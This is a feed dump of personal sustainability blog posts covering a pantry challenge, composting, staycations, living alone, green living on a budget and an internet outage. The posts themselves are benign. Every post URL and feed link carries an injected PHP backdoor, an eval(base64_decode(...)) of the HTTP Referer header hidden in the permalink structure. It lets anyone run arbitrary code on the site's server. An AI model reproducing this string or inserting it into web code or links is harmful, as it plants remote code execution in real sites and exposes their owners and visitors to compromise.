http://www.riot4austerity.org/blog Riot for Austerity: 90% Reduction Project Thu, 02 Sep 2010 23:40:10 +0000 http://wordpress.org/?v=2.3.2 en http://www.riot4austerity.org/blog/2010/06/25/pantry-challenge/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.riot4austerity.org/blog/2010/06/25/pantry-challenge/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sat, 26 Jun 2010 02:52:00 +0000 crstn85 tag:blogger.com,1999:blog-355442528570693080.post-322426119608502412
There are two reasons my pantry is full- first, I tend to eat in phases. I'll be really excited about rice dishes for a long time, then get sidetracked by stir fry, and then move on to couscous. Of course I buy everything in the big bag/box because I'm so excited about it, or trying to reduce packaging, or the "harina precocida" only comes in a huge bag. The second reason is that I often know only one or two recipes to make with that particular noodle/flour/rice. Especially in cases where I wasn't particularly excited about the results of the first attempt to use something, it lingers, getting pushed further and further back on that endlessly deep shelf, until I have more bags of flour than I care to admit (or am brave enough to open!).

So, tomorrow I will take stock of everything that is in my pantry and head to the cookbooks/internet to learn exactly what I can eat to use up all of the assorted items that have accumulated. I'm starting with dry goods, though I have also built up quite the stockpile of sauces, vinegars, spices, etc. but those seem easier to move so they will get tackled later (or more likely used as I add flavor to everything on the other shelves of the pantry).

I will try to post recipes and progress here, if only because it will keep me focused. Feel free to share any ideas or suggestions!

]]> http://www.riot4austerity.org/blog/2010/06/25/pantry-challenge/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ http://www.riot4austerity.org/blog/2009/10/15/hello-world-i-live-sustainably/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.riot4austerity.org/blog/2009/10/15/hello-world-i-live-sustainably/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Fri, 16 Oct 2009 00:12:00 +0000 crstn85 tag:blogger.com,1999:blog-355442528570693080.post-3370387885993437571 Greenhab is hosting this month's APLS carnival, and she asks this:

So, I'm wondering when, where, how, and how much you proselytize living green? When do you just let it go? When is it not worth it to start something? Or do you always speak up? How loud? Are you a tell-it-like-it-is person? Or do you try to take a gentle approach? And, although I use "proselytize" in the loosest way, does living a sustainable lifestyle feel almost like a religion to you?


I find that I run the gamut from silent to all points bulletins regarding my environmentalism. It depends on the situation, the people I'm with, the issue at hand and the mood I'm in. Sometimes I have the energy to get into a deep discussion, and think it would be profitable; at other times I just mind my own business and wish to myself that things were different.

The vast majority of the time I am quietly announcing my viewpoint by doing little things such as carrying reusable bags, using my reusable water bottle or sticking to a vegetarian diet. I don't usually think of these things as announcing anything, until someone else comments. As I was exiting the farm store a few weeks a go a couple walked past me in the parking lot, saw my bags, and said to each other "oh yea! we have bags in the car, let's go get them." I was secretly thrilled that they were inspired by my action to their own action, of course it was small, but it was still exciting. A similar thing happened when someone at a conference was explaining the excessive waste of plastic water bottles and used me (with my metal bottle) as an example. He was the one making the bigger impact, by actually speaking out, but I was proud to provide an easy reference point.

Sometimes the quiet announcements lead to conversations and education opportunities. I bring a vegetarian lunch to school each day, and one day another teacher asked why I had decided to become vegetarian. I took the opportunity to discuss the sustainability issues with meat production. Then, just a few weeks later she informed me that she'd decided to become a vegetarian, and to drag her whole family along with her. She asked a few more questions and I was able to be a further resource for how to transition meat out of her diet. And all I did was eat lunch in the presence of others.

People I know better (students and friends) are exposed to a slightly louder rumble of my eco-friendly behaviors. My classroom has paper and bottle recycling bins, and I vocally correct any student who uses the wrong bin. I usually don't have to do all the educating though, peers are great enforcers and yell at kids for "killing the trees!" if they ignore my reminders.

For those friends who pass the cut and make it into my apartment, things are much more obvious and I am more vocal. If you ask to use the bathroom you get told how to flush the toilet with grey water (but you have to ask to find out what the little pieces of cloth by the toilet are for). It's obvious that everything is on power strips, and that lighting is limited to just the area we are occupying. I don't hesitate to remind people to turn off the kitchen light as they leave the room or squirm at the idea of turning on the TV if we're otherwise occupied.

Some things, though, are just so exciting I have to shout it to the world. Getting my new (to me) keyboard was like that. I went on craigslist and found an amazing deal for a 72 key (that's huge in the keyboard world) instrument with amazing sound in excellent condition. It was so wonderful and I was so thrilled with this huge success of buying used that Twitter, my parents and my friends heard all about it. I still tell everyone who walks into the room how cheap I got it and how great the reviews are and just ramble on and on about it forever! Buying less is best, but buying used and getting something that you really love, just amazing.

So, while my blog banner says I "live life lightly and announcing it brightly" there are clearly many shades of brightness that occur on a day to day basis. And I think this is good; for me, and for those who have to spend time with me.

]]> http://www.riot4austerity.org/blog/2009/10/15/hello-world-i-live-sustainably/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ http://www.riot4austerity.org/blog/2009/09/16/does-size-matter-apls-carnival/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.riot4austerity.org/blog/2009/09/16/does-size-matter-apls-carnival/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 17 Sep 2009 00:13:00 +0000 crstn85 tag:blogger.com,1999:blog-355442528570693080.post-8110714471063546177
For Robbie becoming a mom was what got her serious about her environmental efforts, so the increase in family size played a big role in how she thought about being green.

Lisa and I thought about how having just a few people in our households affects things like meal planning. We also compared ourselves to the green moms who seem to dominate the blogosphere.

For others, family size was not the deciding factor, rather something else trumped it. For Steph family size is less important than time and energy available to dedicate to green efforts. And Kellie said, "I find the bigger contention lies not in how many people are in our family, but what those family members are willing to do."

Linda looked into product size, and discovered that the way to reduce packaging was by buying more.

Finally, a couple people looked at how the size of their house affected their ability to be environmentally friendly. At one end of the spectrum is Heather who finds that since her house is smaller than she might like it is hard to store food and have equipment for different green projects. At the other end is Abbie who feels some eco-guilt for having built such a large house for just the two of them (soon to be three!), but I have no doubt she will make good use of the space for a lifetime.

Thanks to everyone who contributed! It was great to read all the viewpoints of the APLS members who come to the sustainability movement from varying perspectives. Look for the next carnival at the APLS blog, Kellie will be announcing her fall themed topic soon.

]]> http://www.riot4austerity.org/blog/2009/09/16/does-size-matter-apls-carnival/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ http://www.riot4austerity.org/blog/2009/09/10/party-of-one/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.riot4austerity.org/blog/2009/09/10/party-of-one/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 10 Sep 2009 22:44:00 +0000 crstn85 tag:blogger.com,1999:blog-355442528570693080.post-1304907325552758932
There are plenty of other areas of my life that are more or less flexible based on the fact that I'm the sole member of my household. Crunchy Chicken is gearing up for this year's cloth wipe challenge and there have been quite a few comments about how people can't participate because of the other people who use their bathroom. I just tuck my bag of used wipes behind something when guests arrive, and otherwise no one is around to notice (let alone be offended by) a pile of folded cloths on the counter or in the bag or drying on a rack in the laundry room. Speaking of my laundry room (which is really just a closet) it's a simple task to line dry my laundry since I only produce one load a week and a rope zig-zagging through the shelves in that closet can hold a full load. I once told some co-workers about line drying when explaining how my electric bill is so low and got the response "You can tell she doesn't have kids if she has time to do that." Since no one is demanding my attention I also choose to take the 2 hour commute via public transportation to grad school classes, rather than the 40 minute drive. I can also set the thermostat wherever I want, and choose to let my apartment get a bit stuffy to conserve warmth (to the chagrin of my friend who visited last weekend). This is not to say that I wouldn't do these things with kids or a partner, it's just easy to do now because I don't have to worry about missing time that could be spent with others or negotiate with anyone else's preferences.

There are also items that are harder to manage on my own. You may have read some of the saga that was my multiple failed attempts to compost. As one person who tries to minimize food waste without a yard, I have yet to find a way to compost. I also have to buy things in smaller packages, which means more waste. I was shopping with a friend and he tried to convince me to buy the double sized can of baked beans (cheaper and less packaging than buying 2 cans), but I really only want to eat half a can and then am good for several weeks, so the double size would either result in me being exceedingly sick of baked beans or an entire can being sent down the disposal, neither of which are good choices. I want to buy in bulk, but I have limited space and limited usage of most things so getting a membership at someplace like Costco just isn't feasible (I was heartened to see my twitter friend @ashleymarie6 facing that conundrum as well). Same thing with getting a CSA share, I couldn't possibly use a family size one. My friend did offer to give me her leftovers if she gets a share next summer, but we'll see how many leftovers there actually are!

Overall, I'm enjoying these years in my 20's to 'go wild' (with environmentalism, not much of a party-er), figure out which changes are workable and develop habits that will later become so ingrained I no longer think of them as extra effort. But, I look forward to a time when I'll have my own house to make bigger changes (a real garden with rain barrels!), to being able to share the burdens and joys of eco-living with other people, and to having enough food waste to finally sustain a population of worms.

(This post is my contribution to September's APLS Carnival, which I am hosting. Email me a link to your post by Sept. 15 to be included!)

]]> http://www.riot4austerity.org/blog/2009/09/10/party-of-one/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ http://www.riot4austerity.org/blog/2009/08/27/staycations/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.riot4austerity.org/blog/2009/08/27/staycations/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Fri, 28 Aug 2009 02:21:00 +0000 crstn85 tag:blogger.com,1999:blog-355442528570693080.post-2331753072820375688
A couple years ago they built their new 'summer home' and I love spending time there. The 'summer home' isn't actually a home at all, it is simply a remodeled porch. It is a nice room with a table for eating at and some comfortable chairs for lounging in. The 'commute' from home to the summer place involves opening a door in the kitchen and crossing a threshold into the new space. The thing is, it actually feels like you've traveled to a distant location- this area isn't air conditioned so it's filled with fresh air, the sounds of nature penetrate the screens and the temperature changes to reflect what's happening outside, plus it's decorated so it feels rather Tuscan. It's amazing what a slight change of atmosphere can do; coming out to play cards in the evening feels like an exciting event, but we still have all the comforts of home and never have to pack!

On the occasions when we've felt the need to venture out of our summer place, we've been going on day trips. We went out to lunch at a new restaurant right in town (10 minutes away) but it was still exciting since none of us had been before (by the way, they made guacamole with fruit in it, delicious!). One evening we went to a minor league baseball game (40 minutes away) for just $12 a seat and an awesome view of a fun game I couldn't differentiate from the professionals. Another day we went to the beach (1.5 hours away) and enjoyed a wonderful day of sitting in the sand, dipping our feet in the water (no way I was getting into the frigid ocean) and eating the lunch we'd brought with us. Today we traveled to some wineries (1 hour away), did a few wine tastings and had a delicious lunch at an amazing Italian restaurant.

So, in these weeks of vacation I've learned some very important things:
Sitting at home by myself gets boring fast, but it's really easy to solve that problem. Traveling less than 2 hours at a time I can get myself to a lake, friends, family, great food, sports, ocean, local wine and so much more. Nothing that I've done has been expensive; I haven't gone anywhere new, flown, or paid for a hotel, let alone a resort. Even though I spent 18 years living at my parent's house there are still many new and interesting things to do in the area. When I go home this weekend I will have no need for a vacation to recover from my vacation since everything I've done has been relaxing, simple and low key. There have been plenty of opportunities to be excited, and I've had new experiences, but there is always time to unwind and I'm not packing my days so tightly that I'll need to recoup when I get home. In conclusion, staycations are awesome as long as you do a bit of research and planning (but still way less than would be required for a vacation to somewhere new).

]]> http://www.riot4austerity.org/blog/2009/08/27/staycations/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ http://www.riot4austerity.org/blog/2009/08/15/the-environment-and-the-economy/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.riot4austerity.org/blog/2009/08/15/the-environment-and-the-economy/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sat, 15 Aug 2009 18:47:00 +0000 crstn85 tag:blogger.com,1999:blog-355442528570693080.post-6313585532172252825

The August topic for APLS is Green on the Cheap: Has the economy impacted how you live green? Do you buy fewer green products to save money? Or have you redoubled your efforts to live sustainably? What have you learned about living environmentally friendly on a budget?


Helping the environment and surviving the economy are not opposing forces. You can succeed in each failing system via the same methods. If you lack resources (monetary or planetary) you have to learn to use less and to use what you do have effectively. Using less stuff means spending less money, just as buying less means getting less stuff. Of course cutting back can only go so far and so this argument doesn't hold well for anyone who has lost income and can no longer afford the basics. Assuming you can afford the basics though, it's a good time to look for alternate ways to get the things you want and need.

Recently I got a bigger TV, not because I particularly wanted one but because it was free and my friend couldn't think of anyone else who would want an old TV without a remote. This made me realize I must be in a special class of people - what most people think of as junk I considered an upgrade. This fact was made especially clear to me this summer as I began looking around the trash area of my apartment complex. So far I've scored a fun card game and a DVD rack. Some people are actually good about leaving quality items off to the side so it's like we have our own freecycle in the apartment complex. These are things we should be doing all the time though, not just when money is tight and we recognize that someone else might want what we no longer do. It should be second nature to check in with neighbors to see if they could use something you're getting rid of, and if not, it should be donated rather than left by the curb where hopefully someone will take it before the trash pick up date.

I've never been one to buy a lot of green products; I do fairly well as far as cleaning supplies with water, microfiber cloths, Dr. Bonners soap and hydrogen peroxide for emergencies (wine on the carpet). I use cloth rather than paper products and I've never been into gadgets, eco or otherwise. I suppose that just leaves food, where I do try to buy organic and local. But, the extra expense is far outweighed by the absence of meat, and the money I'm saving not buying all those other things I just mentioned. My low electric bill makes the additional cost of 'green power' hardly noticeable, and the cool, cloudy summer has certainly helped to keep that one extra low.

Since I've been trying to live sustainably for a while now, all of these shifts - toward conserving and saving money and generally consuming less - fit in with what I'm already doing. I hope that, if nothing else, people come out of this experience realizing that there is a lot to be said for sustainability, in all of its interpretations.

]]> http://www.riot4austerity.org/blog/2009/08/15/the-environment-and-the-economy/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ http://www.riot4austerity.org/blog/2009/05/29/allergy-season/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.riot4austerity.org/blog/2009/05/29/allergy-season/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Fri, 29 May 2009 23:02:00 +0000 crstn85 tag:blogger.com,1999:blog-355442528570693080.post-5235473842479293734
It's also great when other things are such ingrained habits that I can complete them even as I stumble off to bed, my brain already shifted into the lowest gear that still allows me to walk. I turn off lights, unplug cords and flush with grey water with as much thought as it takes to put one foot in front of the other. Often I climb into bed and try to remember if I'd done something, simply because it had become so automatic that my brain didn't find the memory worth recording.

There are plenty of things that aren't so eco-friendly about allergy season- medications are bad in many ways, lots of tissues, lots more time spent in front of a screen rather than out enjoying the world and short cuts taken when I might have taken the time and energy to do something 'right' on another day. But, we do the best we can, and I rest easier knowing that my dinner was delicious and came in a reusable container, and that many of my habits remain intact simply because they have become habit.

]]> http://www.riot4austerity.org/blog/2009/05/29/allergy-season/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ http://www.riot4austerity.org/blog/2009/05/25/compost-conundrum/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.riot4austerity.org/blog/2009/05/25/compost-conundrum/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Mon, 25 May 2009 23:42:00 +0000 crstn85 tag:blogger.com,1999:blog-355442528570693080.post-6110612050020786496
That system failed, I moved my compost bin out to the balcony and continued to add whatever food waste I had. Since it was winter, and the bin was totally dried out, nothing broke down. It is now spring and I have an overflowing bin of food scraps (predominantly egg shells actually) which is all in nearly the same state as when I put it in, with the occasional addition of mold/fungus.

Clearly the system needs some help to break down any time soon. Enter the possibility of miraculous 4 week decomposition with the help of Bokashi! Maybe. This stuff is filled with micro-organisms that pickle your food waste in a couple weeks, then if you mix it in with some soil you get rapidly decomposed organic matter. It seems too good to be true, and I can't decide if its worthwhile.

I also found a local farm that might take my materials and convert them into compost for me. There is a certain satisfaction in creating my own, but if its going to be more effective to have someone else do it, I'm willing to make that sacrifice.

So, what do I do? Make my own pickled stuff or have someone else make regular compost?

]]> http://www.riot4austerity.org/blog/2009/05/25/compost-conundrum/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ http://www.riot4austerity.org/blog/2009/05/07/growth/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.riot4austerity.org/blog/2009/05/07/growth/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Fri, 08 May 2009 01:37:00 +0000 crstn85 tag:blogger.com,1999:blog-355442528570693080.post-5251250900974778762
My african violet is really happy:



I bought a kit for hanging strawberries. Look at the growth in just 3 days of semi-cloudy weather. Nice work Yankee Candle Company!

]]> http://www.riot4austerity.org/blog/2009/05/07/growth/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ http://www.riot4austerity.org/blog/2009/05/06/internet-dependency/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.riot4austerity.org/blog/2009/05/06/internet-dependency/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 07 May 2009 01:56:00 +0000 crstn85 tag:blogger.com,1999:blog-355442528570693080.post-5575037202096243194
The representative (once I finally got through to him) informed me that my modem looked fine from his end, but it was really old- so old they stopped making the model in 2005 (which is eons ago for electronics). The solution was to go trade in my modem the next day. This, however, did nothing to solve the problem, and another call left me with the information that they didn't know what was wrong and couldn't help me since I use Linux. Many hours of troubleshooting and a lot of phone calls later, it's Tuesday and I'm dying without an internet connection. I'm worried that my computer is truly broken and decide to wipe the operating system and reinstall. Thankfully this solves my problem, and in the mean time I've learned a lot.

-Just because electronics are really old, that doesn't mean they're useless
My old modem turned on faster than the new one
My computer is 6 years old and still going strong

-Most people aren't willing to put in the effort to fix things
The first reaction was to go replace the old thing- it must be broken
I was kind of tempted to use this as an excuse to buy a shiny new computer
Reinstalling was actually really easy, and it only took 1 evening to get back up and running just like I was previously

-I'm totally and completely dependent on technology
I had to call friends many times this weekend to look up phone numbers
I didn't know what to wear on Saturday without weather.com
I rushed needlessly to the train since I had no idea how long it would take to get somewhere without mbta.com
My computer is the essence of my entertainment- music, games, blogs...
I had limited to no contact with most people I know while I was offline

While I appreciated the reminder that I should be less dependent on technology, mostly I am just very thankful to have my internet back and that I didn't have to buy anything new (hopefully they'll recycle the modem I traded in).

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